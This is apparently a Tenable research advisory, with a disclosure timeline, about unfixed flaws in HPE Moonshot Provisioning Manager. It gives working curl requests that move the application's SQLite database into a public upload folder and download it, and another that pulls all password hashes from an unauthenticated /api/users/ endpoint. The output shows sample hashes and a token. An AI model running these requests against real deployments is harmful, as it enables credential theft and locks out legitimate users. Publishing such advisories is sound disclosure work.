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[R1] Multiple HPE Moonshot Provisioning Manager Vulnerabilities

High

Synopsis

While developing a Nessus plugin for CVE-2018-7072 and CVE-2018-7073, Tenable discovered that the fix in HPE Moonshot Provisioning Manager v1.24 for HPE advisory HPESBHF03843 is incomplete. In v1.24, /opt/hp/moonshot/upload/ and many other directories are still writable by the user moonshot:

#find / -maxdepth 5 -type d -user moonshot -perm /u+w -printf "%M %u %p \n"  2> /dev/null
drwx------ moonshot /home/moonshot
drwxr-xr-x moonshot /var/lib/moonshot
drwxr-xr-x moonshot /opt/hp/moonshot
drwxr-xr-x moonshot /opt/hp/moonshot/include
drwxr-xr-x moonshot /opt/hp/moonshot/repo
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/switch_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/prov_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/tinkerbell
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/moonshot_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/task_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/upgrade
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/root
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/os_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/user_mgr
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/pydeps
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/conf
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/tclient
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/bin
drwxr-xr-x moonshot /opt/hp/moonshot/tinkerbell/answers
drwxr-xr-x moonshot /opt/hp/moonshot/upload
drwxr-xr-x moonshot /opt/hp/moonshot/logs
drwxr-xr-x moonshot /opt/hp/moonshot/bin
drwxr-xr-x moonshot /opt/hp/moonshot/bin/__pycache__
drwxr-xr-x moonshot /opt/hp/moonshot/lib
drwxr-xr-x moonshot /opt/hp/moonshot/lib/python3.3

For example, the attacker can move the db.sqlite3 file in /var/lib/moonshot to /opt/hp/moonshot/upload/:

$ curl -kd "isofile.savepath=/var/lib/moonshot/db.sqlite3&isofile.filename=db.sqlite3"  https://<mpm_host>/cgi-bin/khuploadfile.cgi
<html>
<body>
<p>
File Upload Success
<p>
</body>
</html>

Then the attacker can fetch the db.sqlite3 file with:

$ curl -k -o db.sqlite3 'https://<mpm_host>/upload/db.sqlite3'
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 95232  100 95232    0     0   294k      0 --:--:-- --:--:-- --:--:--  567k

The db.sqlite3 file is the database for the 'tinkerbell' Django project and contains various information about the web application at https://<mpm_host>/. For example, it contains information about configured users and authentication tokens of logged in users:

$ sqlite3 db.sqlite3
SQLite version 3.6.20
Enter ".help" for instructions
Enter SQL statements terminated with a ";"
sqlite> .table
auth_group                     moonshot_mgr_addressrecord
auth_group_permissions         moonshot_mgr_chassis
auth_permission                moonshot_mgr_chassisauthtoken
auth_user                      moonshot_mgr_nic
auth_user_groups               moonshot_mgr_node
auth_user_user_permissions     moonshot_mgr_switch
authtoken_token                os_mgr_configurationfile
django_admin_log               os_mgr_operatingsystem
django_content_type            os_mgr_update
django_migrations              prov_mgr_backup
django_session                 prov_mgr_clone
djkombu_message                prov_mgr_install
djkombu_queue                  task_mgr_vlanassignmentrecord

sqlite> .header on
sqlite> select * from auth_user;
id|password|is_superuser|username|first_name|last_name|email|is_staff|is_active|date_joined|last_login
1|pbkdf2_sha256$20000$kTvcnCFdQyTE$gmAgQbL6t1YCbkw6qnl+sGg9qKkf8wSQdxC+fhR4fwI=|1|user1|user number 1|||1|1|2018-08-01 22:43:43.292870|2018-08-21 22:28:15.787135
2|pbkdf2_sha256$20000$V0bHk71d7xte$eWxIyHgo75gYMZAWUS07mUVezMtY6Ru8gFb8awJJBoc=|1|user2|user number 2|||1|1|2018-08-21 22:47:59.549245|

sqlite> select * from authtoken_token;
key|created|user_id
e8419331029d8b4d24369cdab9a69b6d97bf3bf0|2018-08-21 22:27:23.451159|1

This information may help the attacker launch further attacks.

Also, because /var/lib/moonshot/db.sqlite3 is moved to /opt/hp/moonshot/upload/, valid users can no longer login to the web UI at https://<mpm_host>/.

Tenable also found another security issue with URL endpoint /api/users/, which allows an unauthenticated remote attacker to fetch all user accounts with sensitive information including password hashes:

$ curl -k 'https://<mpm_host>/api/users/'
[{"url":"https:/<mpm_host>/</api/users/1/","username":"user1","first_name":"user number 1","password":"pbkdf2_sha256$20000$kTvcnCFdQyTE$gmAgQbL6t1YCbkw6qnl+sGg9qKkf8wSQdxC+fhR4fwI=","email":"","is_staff":true,"is_active":true,"is_superuser":true,"last_login":"2018-08-21T22:28:15.787135Z","date_joined":"2018-08-01T22:43:43.292870Z"},{"url":"https:///api/users/2/","username":"user2","first_name":"user number 2","password":"pbkdf2_sha256$20000$V0bHk71d7xte$eWxIyHgo75gYMZAWUS07mUVezMtY6Ru8gFb8awJJBoc=","email":"","is_staff":true,"is_active":true,"is_superuser":true,"last_login":null,"date_joined":"2018-08-21T22:47:59.549245Z"}]

Solution

No solution exists. Contact HPE for further instructions.

Disclosure Timeline

08/23/2018 - Vulnerability discovered.
08/27/2018 - HPE informed via encrypted email. 90 day set to November 26, 2018.
08/29/2018 - HPE responds that they are having trouble decrypting the mail. Asks Tenable what key was used.
08/29/2018 - Tenable responds with key id B75482FC3EFA7F7B with a PGP fingerprint of 5277 5632 C3B7 4B1B ED1A D8F1 B754 82FC 3EFA 7F7B.
08/30/2018 - Tenable asks if HPE was able to decrypt the disclosure.
08/30/2018 - HPE confirms they were able to. Asks Tenable why they think development might have failed to patch correctly.
08/30/2018 - Tenable provides feedback.
10/12/2018 - Tenable asks for an update.
10/23/2018 - Tenable asks for an update.
11/15/2018 - Tenable asks for an update.
11/26/2018 - Tenable informs HPE of advisory release.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

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